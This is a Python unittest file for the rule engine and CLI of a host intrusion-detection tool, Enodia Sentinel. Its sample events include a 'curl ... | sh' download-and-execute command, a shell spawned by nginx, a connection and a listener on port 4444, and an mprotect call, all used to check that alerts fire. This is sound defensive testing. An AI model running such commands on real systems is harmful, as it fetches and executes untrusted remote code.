207 lines
6.5 KiB
Python
207 lines
6.5 KiB
Python
# SPDX-License-Identifier: GPL-3.0-or-later
|
|
import io
|
|
import json
|
|
import os
|
|
import tempfile
|
|
import unittest
|
|
from contextlib import redirect_stdout
|
|
from pathlib import Path
|
|
|
|
from enodia_sentinel import ruleops
|
|
from enodia_sentinel.cli import main
|
|
from enodia_sentinel.config import Config
|
|
|
|
|
|
class TestRuleOps(unittest.TestCase):
|
|
def test_lists_builtin_exec_and_syscall_rules(self):
|
|
rules = ruleops.list_rules(Config())
|
|
sids = {r["sid"] for r in rules}
|
|
self.assertIn(100001, sids)
|
|
self.assertIn(100060, sids)
|
|
self.assertIn(100067, sids)
|
|
self.assertIn(100068, sids)
|
|
exec_rule = next(r for r in rules if r["sid"] == 100002)
|
|
self.assertEqual(exec_rule["event"], "exec")
|
|
self.assertIn("argv_regex", exec_rule["conditions"])
|
|
host_rule = next(r for r in rules if r["sid"] == 100067)
|
|
self.assertEqual(host_rule["event"], "tcp_connect")
|
|
self.assertIn("peer_port_exclude", host_rule["conditions"])
|
|
listener_rule = next(r for r in rules if r["sid"] == 100068)
|
|
self.assertEqual(listener_rule["event"], "listen")
|
|
self.assertIn("local_port_exclude", listener_rule["conditions"])
|
|
|
|
def test_configured_exec_rule_is_listed(self):
|
|
with tempfile.TemporaryDirectory() as d:
|
|
path = Path(d) / "rules.toml"
|
|
path.write_text("""
|
|
[[exec_rules]]
|
|
sid = 199999
|
|
msg = "test custom rule"
|
|
severity = "HIGH"
|
|
classtype = "custom-test"
|
|
exec_comm = ["id"]
|
|
""")
|
|
cfg = Config()
|
|
cfg.exec_rules_file = str(path)
|
|
rule = ruleops.find_rule(cfg, 199999)
|
|
self.assertIsNotNone(rule)
|
|
self.assertEqual(rule["origin"], "configured")
|
|
self.assertEqual(rule["conditions"]["exec_comm"], ["id"])
|
|
|
|
def test_matches_exec_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "curl http://example.invalid/x | sh"],
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100004, {a.sid for a in alerts})
|
|
|
|
def test_matches_syscall_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "payload",
|
|
"syscall": "mprotect",
|
|
"args": [0, 4096, "0x6", 0, 0, 0],
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100060, {a.sid for a in alerts})
|
|
|
|
def test_matches_host_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "tcp_connect",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"peer_ip": "8.8.8.8",
|
|
"peer_port": 4444,
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100067, {a.sid for a in alerts})
|
|
|
|
def test_host_event_common_public_port_no_match(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "tcp_connect",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"peer_ip": "8.8.8.8",
|
|
"peer_port": 443,
|
|
}
|
|
self.assertEqual(ruleops.test_event(cfg, event), [])
|
|
|
|
def test_matches_host_listen_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "listen",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 4444,
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100068, {a.sid for a in alerts})
|
|
|
|
def test_host_listen_common_port_no_match(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "listen",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 443,
|
|
}
|
|
self.assertEqual(ruleops.test_event(cfg, event), [])
|
|
|
|
def test_render_markdown_documents_rules(self):
|
|
text = ruleops.render_markdown(Config())
|
|
self.assertIn("# Enodia Sentinel Event Rule Reference", text)
|
|
self.assertIn("## SID 100002:", text)
|
|
self.assertIn("Expected false positives:", text)
|
|
self.assertIn("Drill or fixture:", text)
|
|
self.assertIn("`argv_regex`", text)
|
|
|
|
|
|
class TestRulesCli(unittest.TestCase):
|
|
def setUp(self):
|
|
self.dir = tempfile.TemporaryDirectory()
|
|
os.environ["ENODIA_LOG_DIR"] = self.dir.name
|
|
self.tmp = Path(self.dir.name)
|
|
|
|
def tearDown(self):
|
|
os.environ.pop("ENODIA_LOG_DIR", None)
|
|
self.dir.cleanup()
|
|
|
|
def _run(self, *args):
|
|
buf = io.StringIO()
|
|
with redirect_stdout(buf):
|
|
code = main(["rules", *args])
|
|
return code, buf.getvalue()
|
|
|
|
def test_list_json(self):
|
|
code, out = self._run("list", "--json")
|
|
self.assertEqual(code, 0)
|
|
rules = json.loads(out)
|
|
self.assertIn(100001, {r["sid"] for r in rules})
|
|
|
|
def test_show_text(self):
|
|
code, out = self._run("show", "100060")
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("Rule 100060", out)
|
|
self.assertIn("syscall", out)
|
|
|
|
def test_test_event_file(self):
|
|
event = self.tmp / "event.json"
|
|
event.write_text(json.dumps({
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "nginx",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "id"],
|
|
}))
|
|
code, out = self._run("test", str(event))
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("sid=100003", out)
|
|
|
|
def test_test_no_match_is_exit_one(self):
|
|
event = self.tmp / "event.json"
|
|
event.write_text(json.dumps({
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/usr/bin/true",
|
|
"argv": [],
|
|
}))
|
|
code, out = self._run("test", str(event))
|
|
self.assertEqual(code, 1)
|
|
self.assertIn("No rules matched", out)
|
|
|
|
def test_docs_text(self):
|
|
code, out = self._run("docs")
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("Enodia Sentinel Event Rule Reference", out)
|
|
self.assertIn("SID 100060", out)
|
|
self.assertIn("SID 100067", out)
|
|
self.assertIn("SID 100068", out)
|
|
self.assertIn("Expected false positives", out)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|